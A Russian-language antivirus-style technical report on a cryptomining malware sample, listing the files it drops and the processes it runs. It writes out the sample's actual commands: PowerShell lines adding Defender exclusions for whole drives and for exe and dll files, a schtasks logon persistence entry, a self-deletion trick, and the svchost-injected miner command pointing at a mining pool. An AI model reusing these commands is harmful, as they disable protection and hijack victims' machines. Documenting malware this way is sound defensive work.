Техническая информация
Для обеспечения автозапуска и распространения
Создает или изменяет следующие файлы
- <SYSTEM32>\tasks\services64
Вредоносные функции
Внедряет код в
следующие системные процессы:
- <SYSTEM32>\svchost.exe
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\file.exe
- %TEMP%\svchost64.exe
- <SYSTEM32>\services64.exe
- <SYSTEM32>\microsoft\libs\sihost64.exe
- <SYSTEM32>\microsoft\libs\wr64.sys
Удаляет следующие файлы
- %TEMP%\svchost64.exe
Другое
Создает и запускает на исполнение
- '%TEMP%\file.exe'
- '%TEMP%\svchost64.exe' "%TEMP%\File.exe"
- '<SYSTEM32>\services64.exe'
- '%TEMP%\svchost64.exe' "<SYSTEM32>\services64.exe"
- '<SYSTEM32>\microsoft\libs\sihost64.exe'
- '<SYSTEM32>\cmd.exe' /c %TEMP%\svchost64.exe "%TEMP%\File.exe"' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"<SYSTEM32>\services64.exe"' & exit' (со скрытым окном)
- '<SYSTEM32>\services64.exe' ' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /C choice /C Y /N /D Y /T 3 & Del "%TEMP%\svchost64.exe"' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c %TEMP%\svchost64.exe "<SYSTEM32>\services64.exe"' (со скрытым окном)
- '<SYSTEM32>\microsoft\libs\sihost64.exe' ' (со скрытым окном)
Запускает на исполнение
- '%WINDIR%\syswow64\cmd.exe' /c powershell -Command Add-MpPreference -ExclusionPath @($env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force & powershell -Command Add-MpPreference -...
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath @($env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force
- '<SYSTEM32>\cmd.exe' /c powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath '%HOMEPATH%'
- '<SYSTEM32>\cmd.exe' /c %TEMP%\svchost64.exe "%TEMP%\File.exe"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath '%APPDATA%'
- '<SYSTEM32>\cmd.exe' /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"<SYSTEM32>\services64.exe"' & exit
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath '%LOCALAPPDATA%\Temp'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath '%WINDIR%'
- '<SYSTEM32>\schtasks.exe' /create /f /sc onlogon /rl highest /tn "services64" /tr '"<SYSTEM32>\services64.exe"'
- '<SYSTEM32>\cmd.exe' /C choice /C Y /N /D Y /T 3 & Del "%TEMP%\svchost64.exe"
- '<SYSTEM32>\cmd.exe' /c %TEMP%\svchost64.exe "<SYSTEM32>\services64.exe"
- '<SYSTEM32>\choice.exe' /C Y /N /D Y /T 3
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionExtension @('exe','dll') -Force
- '<SYSTEM32>\svchost.exe' --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=pool.hashvault.pro:80 --user=8AU2AnrPR...
